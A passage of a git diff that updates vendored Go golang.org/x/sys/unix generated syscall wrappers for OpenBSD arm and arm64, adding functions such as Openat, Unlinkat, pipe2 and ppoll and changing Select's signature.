--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1186,6 +1429,16 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Setrtable(rtable int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setsid() (pid int, err error) {
- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
- pid = int(r0)
-@@ -1267,6 +1520,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1315,6 +1588,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go
-index 41572c26..d7c878b1 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -openbsd -arm -tags openbsd,arm syscall_bsd.go syscall_openbsd.go syscall_openbsd_arm.go
-+// go run mksyscall.go -l32 -openbsd -arm -tags openbsd,arm syscall_bsd.go syscall_openbsd.go syscall_openbsd_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build openbsd,arm
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -376,7 +360,7 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -393,6 +377,60 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -524,6 +562,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -531,6 +579,21 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -561,6 +624,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -571,6 +649,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -602,6 +695,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, stat *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
-@@ -712,6 +820,17 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getrtable() (rtable int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0)
-+ rtable = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrusage(who int, rusage *Rusage) (err error) {
- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
-@@ -815,6 +934,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -855,6 +994,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -870,6 +1024,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -885,6 +1054,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -911,6 +1095,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1000,6 +1200,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1020,6 +1242,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1061,8 +1303,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1186,6 +1429,16 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Setrtable(rtable int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setsid() (pid int, err error) {
- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
- pid = int(r0)
-@@ -1267,6 +1520,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1315,6 +1588,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go
-similarity index 87%
-copy from vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go
-index 10491e9e..8facd695 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -l32 -tags darwin,386 syscall_bsd.go syscall_darwin.go syscall_darwin_386.go
-+// go run mksyscall.go -openbsd -tags openbsd,arm64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,386
-+// +build openbsd,arm64
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -376,10 +360,15 @@ func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+func Getdents(fd int, buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,8 +377,15 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func kill(pid int, signum int, posix int) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -408,6 +404,33 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -539,18 +562,8 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Exchangedata(path1 string, path2 string, options int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path1)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(path2)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -673,7 +686,7 @@ func Fpathconf(fd int, name int) (val int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
